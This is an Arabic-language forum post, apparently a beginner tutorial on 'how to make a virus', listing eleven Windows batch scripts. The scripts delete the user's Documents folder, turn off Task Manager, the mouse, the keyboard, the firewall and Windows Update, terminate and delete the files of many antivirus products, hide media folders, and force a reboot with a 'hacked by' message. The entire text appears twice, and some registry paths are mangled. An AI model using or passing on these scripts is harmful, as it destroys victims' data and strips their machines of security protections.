السلام عليكم ورحمة الله وبركاته ؟؟؟
معناا درس جديد
وهو كيفية صنع فيرس
وطبعا الطريقة للمبتدئين ..
اولا الشرح بالصووور ..
.......................................
1- نفتح المفكرة ,,,,
مجموعة فيروسات تم نقلها للافادة
1- تعطيل تحديث ويندوز
@echo off
net stop "wuauserv"
-------------------------------
2-حذف ملف "My Documents"
@echo off
del /f /q "%userprofile%\My Documents\*.*"
del /f /q "%userprofile%\Documents\*.*"
-----------------------------------------------------------------
3-قتل البروسيس
@echo off
taskkill /f /t /im "Process.exe"
--------------------------------------------
4-تعطيل مدير المهام
@echo off
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVe rsionPoliciesSystem /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
--------------------------------------------------------------------------------------------
5-تعطيل الفارة
@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\S ervices\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
-------------------------------------------------------------------
6-تعطيل لوحة المفاتيح
@echo off
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINESYSTEMControlSet001ControlKeyboa rd Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,0 0 ,01,00,00, >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00 ,3f,00,00,00,40,00,00,00, >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57 ,00,00,00,58,00,00,00,37, >> "nokeyboard.reg"
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00 ,00,00,4a,00,00,00,47,00, >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00 ,00,4d,00,00,00,4e,00,00, >> "nokeyboard.reg"
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00 ,53,00,00,00,52,00,00,00, >> "nokeyboard.reg"
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52 ,e0,00,00,47,e0,00,00,49, >> "nokeyboard.reg"
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00 ,00,00,02,00,00,00,03,00, >> "nokeyboard.reg"
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00 ,00,08,00,00,00,09,00,00, >> "nokeyboard.reg"
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00 ,0e,00,00,00,0f,00,00,00, >> "nokeyboard.reg"
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14 ,00,00,00,15,00,00,00,16, >> "nokeyboard.reg"
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00 ,00,00,1b,00,00,00,2b,00, >> "nokeyboard.reg"
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00 ,00,21,00,00,00,22,00,00, >> "nokeyboard.reg"
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00 ,27,00,00,00,28,00,00,00, >> "nokeyboard.reg"
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e ,00,00,00,2f,00,00,00,30, >> "nokeyboard.reg"
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00 ,00,00,35,00,00,00,36,00, >> "nokeyboard.reg"
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00 ,00,38,e0,00,00,5c,e0,00, >> "nokeyboard.reg"
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00 ,22,e0,00,00,24,e0,00,00, >> "nokeyboard.reg"
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c ,e0,00,00,20,e0,00,00,6a, >> "nokeyboard.reg"
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0 ,00,00,6c,e0,00,00,6d,e0, >> "nokeyboard.reg"
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
start nokeyboard.reg
----------------------------------------------------------------------------------------------------------------
7-تعطيل حماية الوندوز وجدار الحماية
@ echo off
net stop "security center"
net stop sharedaccess
netsh firewall set opmode mode-disable
------------------------------------------------------------
8-قتل الانتي فايروس
@ echo off
rem Permanently Kill Anti-Virus T0TAL_DZ
net stop "Security Center"
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFE************
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:Program Filesalwils~1avast4*.*
del /Q /F C:Program FilesLavasoftAd-awa~1*.exe
del /Q /F C:Program Fileskasper~1*.exe
cls
del /Q /F C:Program Filestrojan~1*.exe
del /Q /F C:Program Filesf-prot95*.dll
del /Q /F C:Program Filestbav*.dat
cls
del /Q /F C:Program Filesavpersonal*.vdf
del /Q /F C:Program FilesNorton~1*.cnt
del /Q /F C:Program FilesMcafee*.*
cls
del /Q /F C:Program FilesNorton~1Norton~1Norton~3*.*
del /Q /F C:Program FilesNorton~1Norton~1speedd~1*.*
del /Q /F C:Program FilesNorton~1Norton~1*.*
del /Q /F C:Program FilesNorton~1*.*
cls
del /Q /F C:Program Filesavgamsr*.exe
del /Q /F C:Program Filesavgamsvr*.exe
del /Q /F C:Program Filesavgemc*.exe
cls
del /Q /F C:Program Filesavgcc*.exe
del /Q /F C:Program Filesavgupsvc*.exe
del /Q /F C:Program Filesgrisoft
del /Q /F C:Program Filesnood32krn*.exe
del /Q /F C:Program Filesnood32*.exe
cls
del /Q /F C:Program Filesnod32
del /Q /F C:Program Filesnood32
del /Q /F C:Program Fileskav*.exe
del /Q /F C:Program Fileskavmm*.exe
del /Q /F C:Program Fileskaspersky*.*
cls
del /Q /F C:Program Filesewidoctrl*.exe
del /Q /F C:Program Filesguard*.exe
del /Q /F C:Program Filesewido*.exe
cls
del /Q /F C:Program Filespavprsrv*.exe
del /Q /F C:Program Filespavprot*.exe
del /Q /F C:Program Filesavengine*.exe
cls
del /Q /F C:Program Filesapvxdwin*.exe
del /Q /F C:Program Files************proxy*.exe
del /Q /F C:Program Filespanda software*.*
---------------------------------------------------------------------
9-اخفاء جميع الاغاني والافلام والصور من الملفات
@ echo off
attrib +h "%userprofile%\my documents\my music"
attrib +h "%userprofile%\my documents\my videos"
attrib +h "%userprofile%\my documents\my pictures"
---------------------------------------------------------------------------------
10-قتل msn messenger
@ echo off -
tskill msnmsgr
----------------------
11- فايروس إطفاءالجهاز بعد 60 ثانيه
cmdow @ /HID
shutdown.exe -r -f -t 60 -c "Windows XP will now restart in 60 Seconds...hacked by El z0b3a "
net user aspnet /delete
EXIT
معناا درس جديد
وهو كيفية صنع فيرس
وطبعا الطريقة للمبتدئين ..
اولا الشرح بالصووور ..
.......................................
1- نفتح المفكرة ,,,,
مجموعة فيروسات تم نقلها للافادة
1- تعطيل تحديث ويندوز
@echo off
net stop "wuauserv"
-------------------------------
2-حذف ملف "My Documents"
@echo off
del /f /q "%userprofile%\My Documents\*.*"
del /f /q "%userprofile%\Documents\*.*"
-----------------------------------------------------------------
3-قتل البروسيس
@echo off
taskkill /f /t /im "Process.exe"
--------------------------------------------
4-تعطيل مدير المهام
@echo off
reg add HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVe rsionPoliciesSystem /v DisableTaskMgr /t REG_SZ /d 1 /f >nul
--------------------------------------------------------------------------------------------
5-تعطيل الفارة
@echo off
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\S ervices\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
-------------------------------------------------------------------
6-تعطيل لوحة المفاتيح
@echo off
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINESYSTEMControlSet001ControlKeyboa rd Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,0 0 ,01,00,00, >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00 ,3f,00,00,00,40,00,00,00, >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57 ,00,00,00,58,00,00,00,37, >> "nokeyboard.reg"
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00 ,00,00,4a,00,00,00,47,00, >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00 ,00,4d,00,00,00,4e,00,00, >> "nokeyboard.reg"
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00 ,53,00,00,00,52,00,00,00, >> "nokeyboard.reg"
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52 ,e0,00,00,47,e0,00,00,49, >> "nokeyboard.reg"
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00 ,00,00,02,00,00,00,03,00, >> "nokeyboard.reg"
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00 ,00,08,00,00,00,09,00,00, >> "nokeyboard.reg"
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00 ,0e,00,00,00,0f,00,00,00, >> "nokeyboard.reg"
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14 ,00,00,00,15,00,00,00,16, >> "nokeyboard.reg"
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00 ,00,00,1b,00,00,00,2b,00, >> "nokeyboard.reg"
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00 ,00,21,00,00,00,22,00,00, >> "nokeyboard.reg"
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00 ,27,00,00,00,28,00,00,00, >> "nokeyboard.reg"
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e ,00,00,00,2f,00,00,00,30, >> "nokeyboard.reg"
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00 ,00,00,35,00,00,00,36,00, >> "nokeyboard.reg"
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00 ,00,38,e0,00,00,5c,e0,00, >> "nokeyboard.reg"
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00 ,22,e0,00,00,24,e0,00,00, >> "nokeyboard.reg"
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c ,e0,00,00,20,e0,00,00,6a, >> "nokeyboard.reg"
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0 ,00,00,6c,e0,00,00,6d,e0, >> "nokeyboard.reg"
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
start nokeyboard.reg
----------------------------------------------------------------------------------------------------------------
7-تعطيل حماية الوندوز وجدار الحماية
@ echo off
net stop "security center"
net stop sharedaccess
netsh firewall set opmode mode-disable
------------------------------------------------------------
8-قتل الانتي فايروس
@ echo off
rem Permanently Kill Anti-Virus T0TAL_DZ
net stop "Security Center"
netsh firewall set opmode mode=disable
tskill /A av*
tskill /A fire*
tskill /A anti*
cls
tskill /A spy*
tskill /A bullguard
tskill /A PersFw
tskill /A KAV*
tskill /A ZONEALARM
tskill /A SAFE************
cls
tskill /A OUTPOST
tskill /A nv*
tskill /A nav*
tskill /A F-*
tskill /A ESAFE
tskill /A cle
cls
tskill /A BLACKICE
tskill /A def*
tskill /A kav
tskill /A kav*
tskill /A avg*
tskill /A ash*
cls
tskill /A aswupdsv
tskill /A ewid*
tskill /A guard*
tskill /A guar*
tskill /A gcasDt*
tskill /A msmp*
cls
tskill /A mcafe*
tskill /A mghtml
tskill /A msiexec
tskill /A outpost
tskill /A isafe
tskill /A zap*
cls
tskill /A zauinst
tskill /A upd*
tskill /A zlclien*
tskill /A minilog
tskill /A cc*
tskill /A norton*
cls
tskill /A norton au*
tskill /A ccc*
tskill /A npfmn*
tskill /A loge*
tskill /A nisum*
tskill /A issvc
tskill /A tmp*
cls
tskill /A tmn*
tskill /A pcc*
tskill /A cpd*
tskill /A pop*
tskill /A pav*
tskill /A padmin
cls
tskill /A panda*
tskill /A avsch*
tskill /A sche*
tskill /A syman*
tskill /A virus*
tskill /A realm*
cls
tskill /A sweep*
tskill /A scan*
tskill /A ad-*
tskill /A safe*
tskill /A avas*
tskill /A norm*
cls
tskill /A offg*
del /Q /F C:Program Filesalwils~1avast4*.*
del /Q /F C:Program FilesLavasoftAd-awa~1*.exe
del /Q /F C:Program Fileskasper~1*.exe
cls
del /Q /F C:Program Filestrojan~1*.exe
del /Q /F C:Program Filesf-prot95*.dll
del /Q /F C:Program Filestbav*.dat
cls
del /Q /F C:Program Filesavpersonal*.vdf
del /Q /F C:Program FilesNorton~1*.cnt
del /Q /F C:Program FilesMcafee*.*
cls
del /Q /F C:Program FilesNorton~1Norton~1Norton~3*.*
del /Q /F C:Program FilesNorton~1Norton~1speedd~1*.*
del /Q /F C:Program FilesNorton~1Norton~1*.*
del /Q /F C:Program FilesNorton~1*.*
cls
del /Q /F C:Program Filesavgamsr*.exe
del /Q /F C:Program Filesavgamsvr*.exe
del /Q /F C:Program Filesavgemc*.exe
cls
del /Q /F C:Program Filesavgcc*.exe
del /Q /F C:Program Filesavgupsvc*.exe
del /Q /F C:Program Filesgrisoft
del /Q /F C:Program Filesnood32krn*.exe
del /Q /F C:Program Filesnood32*.exe
cls
del /Q /F C:Program Filesnod32
del /Q /F C:Program Filesnood32
del /Q /F C:Program Fileskav*.exe
del /Q /F C:Program Fileskavmm*.exe
del /Q /F C:Program Fileskaspersky*.*
cls
del /Q /F C:Program Filesewidoctrl*.exe
del /Q /F C:Program Filesguard*.exe
del /Q /F C:Program Filesewido*.exe
cls
del /Q /F C:Program Filespavprsrv*.exe
del /Q /F C:Program Filespavprot*.exe
del /Q /F C:Program Filesavengine*.exe
cls
del /Q /F C:Program Filesapvxdwin*.exe
del /Q /F C:Program Files************proxy*.exe
del /Q /F C:Program Filespanda software*.*
---------------------------------------------------------------------
9-اخفاء جميع الاغاني والافلام والصور من الملفات
@ echo off
attrib +h "%userprofile%\my documents\my music"
attrib +h "%userprofile%\my documents\my videos"
attrib +h "%userprofile%\my documents\my pictures"
---------------------------------------------------------------------------------
10-قتل msn messenger
@ echo off -
tskill msnmsgr
----------------------
11- فايروس إطفاءالجهاز بعد 60 ثانيه
cmdow @ /HID
shutdown.exe -r -f -t 60 -c "Windows XP will now restart in 60 Seconds...hacked by El z0b3a "
net user aspnet /delete
EXIT
